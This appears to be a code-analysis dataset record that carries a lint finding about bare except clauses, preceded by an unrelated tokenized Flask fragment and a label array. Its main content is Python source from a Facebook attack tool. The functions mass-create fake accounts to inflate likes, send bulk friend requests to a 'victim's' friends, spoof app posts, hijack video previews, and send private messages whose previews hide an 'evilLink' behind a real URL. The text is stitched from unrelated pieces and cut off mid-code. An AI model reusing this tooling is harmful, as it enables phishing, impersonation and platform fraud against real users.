"@_", "require", "\\u", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "teacher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "\\u", "team", "\\u", "group", "\\u", "hook_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "api_", "._", "group_", "._", "add", "\\u", "member_", "(_", "api_", "._", "common_", "._", "flat", "\\u", "multi_", "(_", "request_", "._", "form_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "{_", "\"", "success", "\"_", ":_", "1_", ",_", "\"", "message", "\"_", ":_", "\"", "Success", "full", "y", " ", "adde", "d", " ", "team", "!", " ", "Relo", "ading", "...\"_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "blueprint_", "._", "route_", "(_", "\"/", "remove", "\\u", "team", "\"_", ",_", "methods_", "=_", "[_", "\"", "POST", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "api", "\\u", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "login_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "\\u", "teacher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "remove", "\\u", "team", "\\u", "group", "\\u", "hook_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "api_", "._", "group_", "._", "remove", "\\u", "member_", "(_", "api_", "._", "common_", "._", "flat", "\\u", "multi_", "(_", "request_", "._", "form_", ")_", ")_", "\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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
chinoogawa/fbht/mainFunc.py
[ { "content": "def set_dtsg():\n n = 0\n flag = False\n try:\n response = br.open('https://www.facebook.com/')\n ''' Old dtsg set module.. \n for form in br.forms():\n for control in form.controls: \n if control.name == 'fb_dtsg':\n flag = True\n break\n n += 1\n if flag: break\n br.select_form(nr=n-1) '''\n \n if globalLogging:\n logs(response.read())\n\n \n \n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in the dtsg set module')\n print '\\rTrying to set dtsg \\r'\n \n return workarounddtsg()", "metadata": "root.set_dtsg", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def workarounddtsg():\n try:\n response = br.open('https://www.facebook.com/')\n parse = response.read()\n match = re.search(\"\\\"fb_dtsg\\\"\", parse)\n matchBis = re.search(\"value=\\\"\",parse[match.end():])\n matchBisBis = re.search(\"\\\"\",parse[match.end()+matchBis.end():])\n fb_dtsg = parse[match.end()+matchBis.end():match.end()+matchBis.end()+matchBisBis.start()]\n return fb_dtsg\n except:\n print 'error'\n return 0", "metadata": "root.workarounddtsg", "header": "['module', '___EOS___']", "index": 129 }, { "content": "def createUser(number):\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n c_user = getC_user()\n \n arguments = {\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '798aD5z5zufEa0',\n '__req' : '4',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '16581655751108754574',\n }\n \n datos = urlencode(arguments)\n \n userRaw = []\n \n percentage = 0.0\n print 'Creating Test Users .. '\n for i in range(int(number)):\n try:\n response = br.open('https://www.facebook.com/ajax/whitehat/create_test_user.php',datos)\n userRaw.append(str(response.read()))\n \n percentage = (i * 100.0) / int(number)\n flush()\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n sleep(60)\n except mechanize.HTTPError as e:\n logs(str(e.code) + ' on iteration ' + str(i))\n print str(e.code) + ' on iteration %d'%i\n except mechanize.URLError as e:\n logs(str(e.reason.args) + ' on iteration ' + str(i))\n print str(e.reason.args) + ' on iteration %d'%i \n except signalCaught as e:\n raise signalCaught(str(e.args[0])+' handling from createUser.. ')\n except:\n logs('Error in create module on iteration ' + str(i))\n print '\\r \\r',\n print '\\rError in create module on iteration %d\\r' %i,\n \n \n fullFlag = MyParser.parseData(userRaw)\n \n return fullFlag", "metadata": "root.createUser", "header": "['module', '___EOS___']", "index": 150 }, { "content": "def deleteUser(appId):\n ''' Selects the fb_dtsg form ''' \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n '__user' : str(getC_user()),\n '__a' : '1',\n '__dyn' : '7w86i3S2e4oK4pomXWo5O12wYw',\n '__req' : '4',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '26581718683108776783808786',\n '__rev' : '1409158'\n }\n testUserID = database.getUsers()\n for n in len(testUserID[0]):\n arguments['test_user_ids['+str(n)+']'] = str(testUserID[0][n]) \n \n datos = urlencode(arguments)\n try:\n response = br.open('https://developers.facebook.com/apps/async/test-users/delete/?app_id='+appId,datos)\n \n if globalLogging:\n logs(response.read())\n\n except:\n logs('Error deleting users')\n print 'Error deleting users \\n'", "metadata": "root.deleteUser", "header": "['module', '___EOS___']", "index": 264 }, { "content": "def sendRequest(userID,c_user):\n \n ''' Selects the fb_dtsg form ''' \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n 'to_friend' : userID,\n 'action' : 'add_friend',\n 'how_found' : 'profile_button',\n 'ref_param' : 'none',\n 'link_data[gt][profile_owner]' : userID,\n 'link_data[gt][ref]' : 'timeline:timeline',\n 'outgoing_id' : '',\n 'logging_location' : '',\n 'no_flyout_on_click' : 'true',\n 'ego_log_data' : '',\n 'http_referer' : '',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8aD5z5zu',\n '__req' : 'n',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '1658165688376111103320'\n }\n \n\n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n print 'Friend Request sent from %s to %s! \\n' %(c_user,userID)\n except:\n logs('Error sending request ')\n print 'Error sending request \\n'", "metadata": "root.sendRequest", "header": "['module', '___EOS___']", "index": 329 }, { "content": "def sendRequestToList(victim):\n \n root = 'dumps'\n directory = victim\n friends = []\n frieds_send = []\n count = 0\n number = raw_input('Insert the amount of requests to send: ')\n \n try:\n try:\n persons = open( os.path.join(root,directory,victim+\".txt\"),\"rb\" )\n except:\n logs('Friend file not found')\n print 'Friend file not found'\n return\n try:\n persons_send = open( os.path.join(root,directory,victim+\"_friend_send.txt\"),\"rb\")\n while True:\n linea = persons_send.readline()\n if not linea:\n break\n frieds_send.append(linea.strip(\"\\n\\r\"))\n persons_send.close()\n persons_send = open(os.path.join(root,directory,victim+\"_friend_send.txt\"),\"ab\")\n except:\n persons_send = open(os.path.join(root,directory,victim+\"_friend_send.txt\"),\"wb\")\n while True:\n linea = persons.readline()\n if not linea:\n break\n friends.append(linea.strip(\"\\n\\r\"))\n \n i = 0.0\n percentage = 0.0\n \n print 'Sending friend requests'\n \n \n for userID in friends: \n if userID not in frieds_send:\n #Escape condition\n if count > int(number):\n persons_send.close()\n return\n \n count += 1\n ''' Selects the fb_dtsg form ''' \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n c_user = getC_user()\n \n arguments = {\n 'to_friend' : userID,\n 'action' : 'add_friend',\n 'how_found' : 'profile_button',\n 'ref_param' : 'none',\n 'link_data[gt][profile_owner]' : userID,\n 'link_data[gt][ref]' : 'timeline:timeline',\n 'outgoing_id' : '',\n 'logging_location' : '',\n 'no_flyout_on_click' : 'true',\n 'ego_log_data' : '',\n 'http_referer' : '',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8aD5z5zu',\n '__req' : 'n',\n 'fb_dtsg' : fb_dtsg,\n 'ttstamp' : '265817211599516953787450107',\n }\n \n \n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)\n \n #percentage\n percentage = (i * 100.0) / len(friends)\n i+=1\n flush()\n print '\\rCompleted [%.2f%%]\\r'%percentage,\n \n if globalLogging:\n logs(response.read())\n \n print 'Friend Request sent from %s to %s! \\n' %(c_user,userID)\n persons_send.write(userID+'\\n')\n except:\n logs('Error sending request ')\n print 'Error sending request \\n'\n except signalCaught as e:\n message = '%s catch from send request module' %e.args[0]\n logs(str(message))\n print '%s \\n' %message\n persons_send.close()\n raw_input('Press enter to continue')\n return", "metadata": "root.sendRequestToList", "header": "['module', '___EOS___']", "index": 368 }, { "content": "def loadPersistentCookie():\n global cookieArray\n try:\n f = open(\"cookiesObject\",\"r\")\n cookieArray = pickle.load(f)\n i = 0\n ''' Se limpian las cookies que no sirven - se filtra el id para cambiar su estado a logged = 0 '''\n for cookie in cookieArray:\n cj._cookies = cookie\n for element in cj:\n if (element.name == 'checkpoint'):\n strip = str(element.value).strip(\"%7B%22u%22%3A\")\n removeId = strip.split(\"%2C%22t%22%3A\")[0]\n database.setLoggedOut(removeId)\n del cookieArray[i]\n i+=1\n except:\n return", "metadata": "root.loadPersistentCookie", "header": "['module', '___EOS___']", "index": 518 }, { "content": "def like(postId, quantity):\n \n signal.signal(signal.SIGINT, signal_handler)\n try:\n email,password = setMail()\n if (login(email,password,'real') is not -1):\n \n #Cookie of the real account\n masterCookie = cj._cookies\n times = int(quantity) / 10\n \n for i in range(times):\n cj._cookies = masterCookie\n #Check if users already exists\n if ( createUser(10) == -1 ):\n #Delete existing users and re-execute the create module\n deleteUser()\n deleteAccounts()\n createUser(10)\n \n massLogin()\n #Percentage container\n percentage = 0.0\n j = 0.0\n total = len(cookieArray) * len(postId)\n #flush\n print '\\r \\r',\n \n for i in range(len(cookieArray)):\n for post in range(len(postId)):\n cj._cookies = cookieArray[i]\n c_user = getC_user()\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n arguments = {\n 'like_action' : 'true',\n 'ft_ent_identifier' : str(postId[post]),\n 'source' : '0',\n 'client_id' : str(c_user)+'%3A4047576437',\n 'rootid' : 'u_0_2o',\n 'giftoccasion' : '',\n 'ft[tn]' : '%3E%3D',\n 'ft[type]' : '20',\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : c_user,\n '__a' : '1',\n '__dyn' : '7n8ahyj35ym3KiA',\n '__req' : 'c',\n 'fb_dtsg' : fb_dtsg,\n 'phstamp' : '165816595797611370260',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/ufi/like.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n percentage = (j * 100.0)/total\n flush()\n print '\\r[%.2f%%] of likes completed\\r' %(percentage), \n j+=1\n \n except mechanize.HTTPError as e:\n print e.code\n \n except mechanize.URLError as e:\n print e.reason.args \n except:\n print 'Unknown error' \n \n cj._cookies = masterCookie\n deleteUser()\n deleteAccounts()\n \n raw_input('Finished like() module, press enter to continue')\n except signalCaught as e:\n deleteUser()\n message = '%s catch from create module' %e.args[0]\n logs(str(message))\n print '%s \\n' %message\n raw_input('Press enter to continue')\n return", "metadata": "root.like", "header": "['module', '___EOS___']", "index": 543 }, { "content": "def appMessageSpoof(appId,link,picture,title,domain,description,comment):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'fb_dtsg' : fb_dtsg,\n 'preview' : '0',\n '_path' : 'feed',\n 'app_id' : int(appId),\n 'redirect_uri' : 'https://facebook.com/',\n 'display' : 'page',\n 'link' : str(link),\n 'picture' : str(picture),\n 'name' : str(title),\n 'caption' : str(domain),\n 'description' : str(description),\n 'from_post' : '1',\n 'feedform_user_message' : str(comment),\n 'publish' : 'Share',\n 'audience[0][value]' : '80',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/v2.0/dialog/feed',datos)\n \n if globalLogging:\n logs(response.read())\n \n except:\n logs('Error en el modulo de appMessageSpoof()')\n print 'Error en el modulo de appMessageSpoof()\\n'", "metadata": "root.appMessageSpoof", "header": "['module', '___EOS___']", "index": 630 }, { "content": "def linkPreviewYoutube(link,videoLink,title,summary,comment,videoID, privacy):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'fb_dtsg' : fb_dtsg,\n 'composer_session_id' : '38c20e73-acfc-411a-8313-47c095b01e42',\n 'xhpc_context' : 'profile',\n 'xhpc_ismeta' : '1',\n 'xhpc_timeline' : '1',\n 'xhpc_composerid' : 'u_0_29',\n 'xhpc_targetid' : str(c_user),\n 'clp' : '{ cl_impid : 65ac6257 , clearcounter :0, elementid : u_0_2n , version : x , parent_fbid :'+str(c_user)+'}',\n 'xhpc_message_text' : str(comment),\n 'xhpc_message' : str(comment),\n 'aktion' : 'post',\n 'app_id' : '2309869772',\n 'attachment[params][urlInfo][canonical]' : str(videoLink),\n 'attachment[params][urlInfo][final]' : str(videoLink),\n 'attachment[params][urlInfo][user]' : str(link),\n 'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',\n 'attachment[params][title]' : str(title),\n 'attachment[params][summary]' : str(summary),\n 'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',\n 'attachment[params][medium]' : '103',\n 'attachment[params][url]' : str(videoLink),\n 'attachment[params][video][0][type]' : 'application/x-shockwave-flash',\n 'attachment[params][video][0][src]' : 'http://www.youtube.com/v/FxyecjOQXnI?autohide=1&version=3&autoplay=1',\n 'attachment[params][video][0][width]' : '1280',\n 'attachment[params][video][0][height]' : '720',\n 'attachment[params][video][0][safe]' : '1',\n 'attachment[type]' : '100',\n 'link_metrics[source]' : 'ShareStageExternal',\n 'link_metrics[domain]' : 'www.youtube.com',\n 'link_metrics[base_domain]' : 'youtube.com',\n 'link_metrics[title_len]' : '92',\n 'link_metrics[summary_len]' : '160',\n 'link_metrics[min_dimensions][0]' : '70',\n 'link_metrics[min_dimensions][1]' : '70',\n 'link_metrics[images_with_dimensions]' : '1',\n 'link_metrics[images_pending]' : '0',\n 'link_metrics[images_fetched]' : '0',\n 'link_metrics[image_dimensions][0]' : '1280',\n 'link_metrics[image_dimensions][1]' : '720',\n 'link_metrics[images_selected]' : '1',\n 'link_metrics[images_considered]' : '1',\n 'link_metrics[images_cap]' : '10',\n 'link_metrics[images_type]' : 'images_array',\n 'composer_metrics[best_image_w]' : '398',\n 'composer_metrics[best_image_h]' : '208',\n 'composer_metrics[image_selected]' : '0',\n 'composer_metrics[images_provided]' : '1',\n 'composer_metrics[images_loaded]' : '1',\n 'composer_metrics[images_shown]' : '1',\n 'composer_metrics[load_duration]' : '1058',\n 'composer_metrics[timed_out]' : '0',\n 'composer_metrics[sort_order]' : '',\n 'composer_metrics[selector_type]' : 'UIThumbPager_6',\n 'backdated_date[year]' : '',\n 'backdated_date[month]' : '',\n 'backdated_date[day]' : '',\n 'backdated_date[hour]' : '',\n 'backdated_date[minute]' : '',\n 'is_explicit_place' : '',\n 'composertags_place' : '',\n 'composertags_place_name' : '',\n 'tagger_session_id' : '1394761251',\n 'action_type_id[0]' : '',\n 'object_str[0]' : '',\n 'object_id[0]' : '',\n 'og_location_id[0]' : '',\n 'hide_object_attachment' : '0',\n 'og_suggestion_mechanism' : '',\n 'composertags_city' : '',\n 'disable_location_sharing' : 'false',\n 'composer_predicted_city' : '',\n 'audience[0][value]' : privacy,\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : '7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',\n '__req' : 'm',\n 'ttstamp' : '26581658074898653',\n '__rev' : '1161243',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n \n except mechanize.URLError as e:\n print e.reason.args \n except:\n logs('Error en el modulo de linkPreviewYoutube()')\n print 'Error en el modulo de linkPreviewYoutube()\\n'", "metadata": "root.linkPreviewYoutube", "header": "['module', '___EOS___']", "index": 667 }, { "content": "def linkPreview(link,realLink,title,summary,comment,image,privacy):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'composer_session_id' : '787d2fec-b5c1-41fe-bbda-3450a03240c6',\n 'fb_dtsg' : fb_dtsg,\n 'xhpc_context' : 'profile',\n 'xhpc_ismeta' : '1',\n 'xhpc_timeline' : '1',\n 'xhpc_composerid' : 'u_0_29',\n 'xhpc_targetid' : str(c_user),\n 'clp' : '{\"cl_impid\":\"27c5e963\",\"clearcounter\":0,\"elementid\":\"u_0_2n\",\"version\":\"x\",\"parent_fbid\":'+str(c_user)+'}',\n 'xhpc_message_text' : str(comment),\n 'xhpc_message' : str(comment),\n 'aktion' : 'post',\n 'app_id' : '2309869772',\n 'attachment[params][urlInfo][canonical]' : str(realLink),\n 'attachment[params][urlInfo][final]' : str(realLink),\n 'attachment[params][urlInfo][user]' : str(link),\n 'attachment[params][favicon]' : str(realLink)+'/images/favicon.ico',\n 'attachment[params][title]' : str(title),\n 'attachment[params][summary]' : str(summary),\n 'attachment[params][images][0]' : str(image),\n 'attachment[params][medium]' : '106',\n 'attachment[params][url]' : str(realLink),\n 'attachment[type]' : '100',\n 'link_metrics[source]' : 'ShareStageExternal',\n 'link_metrics[domain]' : str(realLink),\n 'link_metrics[base_domain]' : str(realLink),\n 'link_metrics[title_len]' : '38',\n 'link_metrics[summary_len]' : '38',\n 'link_metrics[min_dimensions][0]' : '70',\n 'link_metrics[min_dimensions][1]' : '70',\n 'link_metrics[images_with_dimensions]' : '3',\n 'link_metrics[images_pending]' : '0',\n 'link_metrics[images_fetched]' : '0',\n 'link_metrics[image_dimensions][0]' : '322',\n 'link_metrics[image_dimensions][1]' : '70',\n 'link_metrics[images_selected]' : '1',\n 'link_metrics[images_considered]' : '5',\n 'link_metrics[images_cap]' : '3',\n 'link_metrics[images_type]' : 'ranked',\n 'composer_metrics[best_image_w]' : '100',\n 'composer_metrics[best_image_h]' : '100',\n 'composer_metrics[image_selected]' : '0',\n 'composer_metrics[images_provided]' : '1',\n 'composer_metrics[images_loaded]' : '1',\n 'composer_metrics[images_shown]' : '1',\n 'composer_metrics[load_duration]' : '812',\n 'composer_metrics[timed_out]' : '0',\n 'composer_metrics[sort_order]' : '',\n 'composer_metrics[selector_type]' : 'UIThumbPager_6',\n 'backdated_date[year]' : '',\n 'backdated_date[month]' : '',\n 'backdated_date[day]' : '',\n 'backdated_date[hour]' : '',\n 'backdated_date[minute]' : '',\n 'is_explicit_place' : '',\n 'composertags_place' : '',\n 'composertags_place_name' : '',\n 'tagger_session_id' : '1394765332',\n 'action_type_id[0]' : '',\n 'object_str[0]' : '',\n 'object_id[0]' : '',\n 'og_location_id[0]' : '',\n 'hide_object_attachment' : '0',\n 'og_suggestion_mechanism' : '',\n 'composertags_city' : '',\n 'disable_location_sharing' : 'false',\n 'composer_predicted_city' : '',\n 'audience[0][value]' : privacy,\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : '7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',\n '__req' : 'h',\n 'ttstamp' : '26581658074898653',\n '__rev' : '1161243'\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except mechanize.HTTPError as e:\n print e.code\n except mechanize.URLError as e:\n print e.reason.args \n \n except:\n logs('Error en el modulo de linkPreview()')\n print 'Error en el modulo de linkPreview()\\n'", "metadata": "root.linkPreview", "header": "['module', '___EOS___']", "index": 772 }, { "content": "def hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo,privacy):\n c_user = getC_user()\n print str(c_user)+'\\n'\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'composer_session_id' : '8c4e1fa6-5f1f-4c16-b393-5c1ab4c3802b',\n 'fb_dtsg' : fb_dtsg,\n 'xhpc_context' : 'profile',\n 'xhpc_ismeta' : '1',\n 'xhpc_timeline' : '1',\n 'xhpc_composerid' : 'u_0_23',\n 'xhpc_targetid' : str(c_user),\n 'clp' : '{\"cl_impid\":\"4b4a8369\",\"clearcounter\":0,\"elementid\":\"u_0_2h\",\"version\":\"x\",\"parent_fbid\":'+str(c_user)+'}',\n 'xhpc_message_text' : str(comment),\n 'xhpc_message' : str(comment),\n 'aktion' : 'post',\n 'app_id' : '2309869772',\n 'attachment[params][urlInfo][canonical]' : str(videoLink),\n 'attachment[params][urlInfo][final]' : str(videoLink),\n 'attachment[params][urlInfo][user]' : str(videoLink),\n 'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',\n 'attachment[params][title]' : str(title),\n 'attachment[params][summary]' : str(summary),\n 'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',\n 'attachment[params][medium]' : '103',\n 'attachment[params][url]' : str(videoLink),\n 'attachment[params][video][0][type]' : 'application/x-shockwave-flash',\n 'attachment[params][video][0][src]' : 'http://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',\n 'attachment[params][video][0][width]' : '1920',\n 'attachment[params][video][0][height]' : '1080',\n 'attachment[params][video][0][safe]' : '1',\n 'attachment[type]' : '100',\n 'link_metrics[source]' : 'ShareStageExternal',\n 'link_metrics[domain]' : 'www.youtube.com',\n 'link_metrics[base_domain]' : 'youtube.com',\n 'link_metrics[title_len]' : str(len(title)),\n 'link_metrics[summary_len]' : str(len(summary)),\n 'link_metrics[min_dimensions][0]' : '62',\n 'link_metrics[min_dimensions][1]' : '62',\n 'link_metrics[images_with_dimensions]' : '1',\n 'link_metrics[images_pending]' : '0',\n 'link_metrics[images_fetched]' : '0',\n 'link_metrics[image_dimensions][0]' : '1920',\n 'link_metrics[image_dimensions][1]' : '1080',\n 'link_metrics[images_selected]' : '1',\n 'link_metrics[images_considered]' : '1',\n 'link_metrics[images_cap]' : '10',\n 'link_metrics[images_type]' : 'images_array',\n 'composer_metrics[best_image_w]' : '154',\n 'composer_metrics[best_image_h]' : '154',\n 'composer_metrics[image_selected]' : '0',\n 'composer_metrics[images_provided]' : '1',\n 'composer_metrics[images_loaded]' : '1',\n 'composer_metrics[images_shown]' : '1',\n 'composer_metrics[load_duration]' : '1184',\n 'composer_metrics[timed_out]' : '0',\n 'composer_metrics[sort_order]' : '',\n 'composer_metrics[selector_type]' : 'UIThumbPager_6',\n 'backdated_date[year]' : '',\n 'backdated_date[month]' : '',\n 'backdated_date[day]' : '',\n 'backdated_date[hour]' : '',\n 'backdated_date[minute]' : '',\n 'is_explicit_place' : '',\n 'composertags_place' : '',\n 'composertags_place_name' : '',\n 'tagger_session_id' : '1399663185',\n 'action_type_id[0]' : '',\n 'object_str[0]' : '',\n 'object_id[0]' : '',\n 'og_location_id[0]' : '',\n 'hide_object_attachment' : '0',\n 'og_suggestion_mechanism' : '',\n 'composertags_city' : '',\n 'disable_location_sharing' : 'false',\n 'composer_predicted_city' : '',\n 'audience[0][value]' : str(privacy),\n 'nctr[_mod]' : 'pagelet_timeline_recent',\n '__user' : str(c_user),\n '__a' : '1',\n '__dyn' : '7n8ajEAMBlynzpQ9UoGya4Cq7pEsx6iWF29aGEZ94WpUpBxCFaG',\n '__req' : 'g',\n 'ttstamp' : '265817289113541097355755354',\n '__rev' : '1241763',\n }\n \n datos = urlencode(arguments)\n response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)\n \n if globalLogging:\n logs(response.read())\n \n except:\n logs('Error en el modulo de linkPreviewYoutube()')\n print 'Error en el modulo de linkPreviewYoutube()\\n'", "metadata": "root.hijackVideo", "header": "['module', '___EOS___']", "index": 872 }, { "content": "def privateMessageLink(message,victim,subject,realLink,title,summary,imageLink,evilLink):\n \n c_user = getC_user()\n \n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = {\n 'message_batch[0][action_type]' : 'ma-type:user-generated-message',\n 'message_batch[0][thread_id]' : '',\n 'message_batch[0][author]' : 'fbid:'+c_user,\n 'message_batch[0][author_email]' : '',\n 'message_batch[0][timestamp]' : str(int(time())),\n 'message_batch[0][timestamp_absolute]' : 'Today',\n 'message_batch[0][timestamp_relative]' : getTime(),\n 'message_batch[0][timestamp_time_passed]' : '0',\n 'message_batch[0][is_unread]' : 'false',\n 'message_batch[0][is_cleared]' : 'false',\n 'message_batch[0][is_forward]' : 'false',\n 'message_batch[0][is_filtered_content]' : 'false',\n 'message_batch[0][is_spoof_warning]' : 'false',\n 'message_batch[0][source]' : 'source:titan:web',\n 'message_batch[0][body]' : message,\n 'message_batch[0][has_attachment]' : 'true',\n 'message_batch[0][html_body]' : 'false',\n 'message_batch[0][specific_to_list][0]' : 'fbid:' + victim,\n 'message_batch[0][content_attachment][subject]' : subject,\n 'message_batch[0][content_attachment][app_id]' : '2309869772',\n 'message_batch[0][content_attachment][attachment][params][urlInfo][canonical]' : realLink,\n 'message_batch[0][content_attachment][attachment][params][urlInfo][final]' : realLink,\n 'message_batch[0][content_attachment][attachment][params][urlInfo][user]' : evilLink,\n 'message_batch[0][content_attachment][attachment][params][favicon]' : realLink+'/favicon.ico',\n 'message_batch[0][content_attachment][attachment][params][title]' : title,\n 'message_batch[0][content_attachment][attachment][params][summary]' : summary,\n 'message_batch[0][content_attachment][attachment][params][images][0]' : imageLink,\n 'message_batch[0][content_attachment][attachment][params][medium]' : '106',\n 'message_batch[0][content_attachment][attachment][params][url]' : realLink,\n 'message_batch[0][content_attachment][attachment][type]' : '100',\n 'message_batch[0][content_attachment][link_metrics][source]' : 'ShareStageExternal',\n 'message_batch[0][content_attachment][link_metrics][domain]' : realLink.strip('https://').strip('/'),\n 'message_batch[0][content_attachment][link_metrics][base_domain]' : realLink.strip('https://www.').strip('/'),\n 'message_batch[0][content_attachment][link_metrics][title_len]' : '38',\n 'message_batch[0][content_attachment][link_metrics][summary_len]' : '38',\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][0]' : '70',\n 'message_batch[0][content_attachment][link_metrics][min_dimensions][1]' : '70',\n 'message_batch[0][content_attachment][link_metrics][images_with_dimensions]' : '3',\n 'message_batch[0][content_attachment][link_metrics][images_pending]' : '0',\n 'message_batch[0][content_attachment][link_metrics][images_fetched]' : '0',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][0]' : '322',\n 'message_batch[0][content_attachment][link_metrics][image_dimensions][1]' : '70',\n 'message_batch[0][content_attachment][link_metrics][images_selected]' : '1',\n 'message_batch[0][content_attachment][link_metrics][images_considered]' : '5',\n 'message_batch[0][content_attachment][link_metrics][images_cap]' : '3',\n 'message_batch[0][content_attachment][link_metrics][images_type]' : 'ranked',\n 'message_batch[0][content_attachment][composer_metrics][best_image_w]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][best_image_h]' : '100',\n 'message_batch[0][content_attachment][composer_metrics][image_selected]' : '0',\n 'message_batch[0][content_attachment][composer_metrics][images_provided]' : '1',\n 'message_batch[0][content_attachment][composer_metrics][images_loaded]' : '1',\n 